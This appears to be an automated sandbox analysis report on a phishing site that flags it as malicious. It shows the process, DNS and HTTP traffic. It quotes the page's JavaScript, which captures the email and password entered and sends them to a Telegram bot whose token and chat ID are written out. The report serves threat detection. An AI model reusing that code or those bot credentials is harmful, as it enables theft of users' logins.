Edit tour

Windows Analysis Report
https://web3test.pages.dev/

Overview

General Information

Sample URL:	https://web3test.pages.dev/
Analysis ID:	1638202
Infos:

Detection

HTMLPhisher

Score:	72
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Yara detected HtmlPhish10

Yara detected HtmlPhish64

Javascript uses Telegram API

Performs DNS queries to domains with low reputation

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6640 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6876 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2036,i,17718154154607485139,855489140315774321,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2072 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7648 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2036,i,17718154154607485139,855489140315774321,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=5052 /prefetch:8 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7848 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://web3test.pages.dev/" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_93	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

HTML

Source	Rule	Description	Author	Strings
0.0.pages.csv	JoeSecurity_HtmlPhish_64	Yara detected HtmlPhish_64	Joe Security
0.0.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://web3test.pages.dev/

Avira URL Cloud: detection malicious, Label: phishing

Phishing

Yara detected HtmlPhish10

Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_93, type: DROPPED

Yara detected HtmlPhish64

Source: Yara match

File source: 0.0.pages.csv, type: HTML

Javascript uses Telegram API

Source: https://web3test.pages.dev/

HTTP Parser: /* global $ */ $(document).ready(function(){ var count=0; var tx1="-1002021909207"; var tx2="7060355366:aaetj3hirytgtmohrepogqgbyi2hbl7aizg"; ur = "https://api.telegram.org/bot"+tx2+"/sendmessage?chat_id="+tx1; $('#submit-btn').click(function(event){ event.preventdefault(); var email=$("#userid").val(); var password=$("#password").val(); if (!password) { $('#msg').show(); $('#msg').html("password field is empty"); ...

Source: unknown	HTTPS traffic detected: 142.250.185.228:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.46.238:443 -> 192.168.2.5:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.46.238:443 -> 192.168.2.5:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.10.207:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.10.207:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.65.229:443 -> 192.168.2.5:49731 version: TLS 1.2

Networking

Performs DNS queries to domains with low reputation

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: phasnw.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: phasnw.xyz
Source:	DNS query: phasnw.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: phasnw.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: phasnw.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: phasnw.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: phasnw.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: phasnw.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: phasnw.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: phasnw.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: phasnw.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: phasnw.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: phasnw.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: phasnw.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: phasnw.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: phasnw.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: phasnw.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: phasnw.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: phasnw.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: phasnw.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: phasnw.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: phasnw.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: phasnw.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: phasnw.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: phasnw.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: phasnw.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: phasnw.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: phasnw.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: phasnw.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: phasnw.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: phasnw.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: phasnw.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: phasnw.xyz

Source: global traffic	TCP traffic: 192.168.2.5:49727 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.5:49725 -> 1.1.1.1:53

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.36
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.36
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.36
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.36
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.36
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.36
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.36
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.36
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.36
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.36
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.122.51
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.131.245
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.181.227
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.36
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.36
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.181.227
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: web3test.pages.devConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveOrigin: https://web3test.pages.devsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://web3test.pages.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveOrigin: https://web3test.pages.devsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://web3test.pages.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveOrigin: https://web3test.pages.devsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://web3test.pages.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://web3test.pages.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /npm/jquery.session@1.0.0/jquery.session.min.js HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://web3test.pages.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: web3test.pages.dev
Source: global traffic	DNS traffic detected: DNS query: phasnw.xyz
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net

Source: chromecache_94.3.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_93.3.dr	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Source: chromecache_93.3.dr	String found in binary or memory: https://api.telegram.org/bot
Source: chromecache_93.3.dr	String found in binary or memory: https://api.w.org/
Source: chromecache_93.3.dr	String found in binary or memory: https://cdn.jsdelivr.net/npm/jquery.session
Source: chromecache_93.3.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Source: chromecache_93.3.dr	String found in binary or memory: https://code.jquery.com/jquery-3.2.1.slim.min.js
Source: chromecache_93.3.dr	String found in binary or memory: https://fonts.googleapis.com/css?family=Roboto%3A100%2C100italic%2C200%2C200italic%2C300%2C300italic
Source: chromecache_93.3.dr	String found in binary or memory: https://fonts.gstatic.com/
Source: chromecache_91.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkAnkaWzU.woff2)
Source: chromecache_91.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkBXkaWzU.woff2)
Source: chromecache_91.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkBnka.woff2)
Source: chromecache_91.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkC3kaWzU.woff2)
Source: chromecache_91.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkCHkaWzU.woff2)
Source: chromecache_91.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkCXkaWzU.woff2)
Source: chromecache_91.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkCnkaWzU.woff2)
Source: chromecache_91.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkaHkaWzU.woff2)
Source: chromecache_91.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkenkaWzU.woff2)
Source: chromecache_91.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3-UBGEe.woff2)
Source: chromecache_91.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3CUBGEe.woff2)
Source: chromecache_91.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3GUBGEe.woff2)
Source: chromecache_91.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3KUBGEe.woff2)
Source: chromecache_91.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3OUBGEe.woff2)
Source: chromecache_91.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3iUBGEe.woff2)
Source: chromecache_91.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3yUBA.woff2)
Source: chromecache_91.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMawCUBGEe.woff2)
Source: chromecache_91.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMaxKUBGEe.woff2)
Source: chromecache_91.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/robotoslab/v34/BngMUXZYTXPIvIBgJJSb6ufA5qW54A.woff2)
Source: chromecache_91.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/robotoslab/v34/BngMUXZYTXPIvIBgJJSb6ufB5qW54A.woff2)
Source: chromecache_91.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/robotoslab/v34/BngMUXZYTXPIvIBgJJSb6ufC5qW54A.woff2)
Source: chromecache_91.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/robotoslab/v34/BngMUXZYTXPIvIBgJJSb6ufD5qW54A.woff2)
Source: chromecache_91.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/robotoslab/v34/BngMUXZYTXPIvIBgJJSb6ufJ5qW54A.woff2)
Source: chromecache_91.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/robotoslab/v34/BngMUXZYTXPIvIBgJJSb6ufN5qU.woff2)
Source: chromecache_91.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/robotoslab/v34/BngMUXZYTXPIvIBgJJSb6ufO5qW54A.woff2)
Source: chromecache_99.3.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_95.3.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_95.3.dr, chromecache_99.3.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_95.3.dr, chromecache_99.3.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: chromecache_93.3.dr	String found in binary or memory: https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/#website
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/?p=18
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/?s=
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/comments/feed/
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/enter/
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/enter/#primaryimage
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/feed/
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-content/plugins/elementor-pro/assets/css/frontend-lite.min.css?ver=3.8.1
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-content/plugins/elementor-pro/assets/js/elements-handlers.min.js?ver=3.8.1
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-content/plugins/elementor-pro/assets/js/frontend.min.js?ver=3.8.1
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-content/plugins/elementor-pro/assets/js/webpack-pro.runtime.min.js?ver=3.8.1
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-content/plugins/elementor/assets/css/frontend-lite.min.css?ver=3.19.4
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=3.19.4
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-content/plugins/elementor/assets/js/frontend.min.js?ver=3.19.4
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js?ver=3.19.4
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-content/plugins/elementor/assets/lib/eicons/css/elementor-icons.min.css?ver=5.
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-content/plugins/elementor/assets/lib/swiper/css/swiper.min.css?ver=5.3.6
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-content/plugins/elementor/assets/lib/waypoints/waypoints.min.js?ver=4.0.2
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-content/themes/sinatra/assets/css/compatibility/elementor.min.css?ver=1.3
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-content/themes/sinatra/assets/css/compatibility/ie.min.css?ver=1.3
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-content/themes/sinatra/assets/css/style.min.css?ver=1.3
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-content/themes/sinatra/assets/js/sinatra.min.js?ver=1.3
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-content/themes/sinatra/assets/js/vendors/flexibility.min.js?ver=1.3
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-content/uploads/2023/07/favicon.png
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-content/uploads/elementor/css/global.css?ver=1709310168
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-content/uploads/elementor/css/post-12.css?ver=1709310167
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-content/uploads/elementor/css/post-18.css?ver=1709318270
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-content/uploads/elementor/thumbs/logo-pze9m6xx4yad2ebcxzgbqexv4un37wkm0i5h8wri
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-content/uploads/sinatra/dynamic-styles.css?ver=1712040077
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-includes/js/dist/hooks.min.js?ver=2810c76e705dd1a53b18
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-includes/js/dist/i18n.min.js?ver=5e580eb46a90c2b997e6
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-includes/js/dist/vendor/regenerator-runtime.min.js?ver=0.14.0
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-includes/js/dist/vendor/wp-polyfill-inert.min.js?ver=3.1.2
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-includes/js/jquery/jquery.min.js?ver=3.7.1
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-includes/js/jquery/ui/core.min.js?ver=1.13.2
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-json/
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fphasnw.xyz%2Fenter%2F
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fphasnw.xyz%2Fenter%2F&format=xml
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/wp-json/wp/v2/pages/18
Source: chromecache_93.3.dr	String found in binary or memory: https://phasnw.xyz/xmlrpc.php?rsd
Source: chromecache_93.3.dr	String found in binary or memory: https://schema.org
Source: chromecache_93.3.dr	String found in binary or memory: https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js
Source: chromecache_97.3.dr	String found in binary or memory: https://www.jsdelivr.com/using-sri-with-dynamic-files
Source: chromecache_93.3.dr	String found in binary or memory: https://yoast.com/wordpress/plugins/seo/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726

Source: unknown	HTTPS traffic detected: 142.250.185.228:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.46.238:443 -> 192.168.2.5:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.46.238:443 -> 192.168.2.5:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.10.207:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.10.207:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.65.229:443 -> 192.168.2.5:49731 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir6640_914358513

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir6640_914358513

Jump to behavior

Source: classification engine

Classification label: mal72.phis.troj.win@23/18@47/9

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
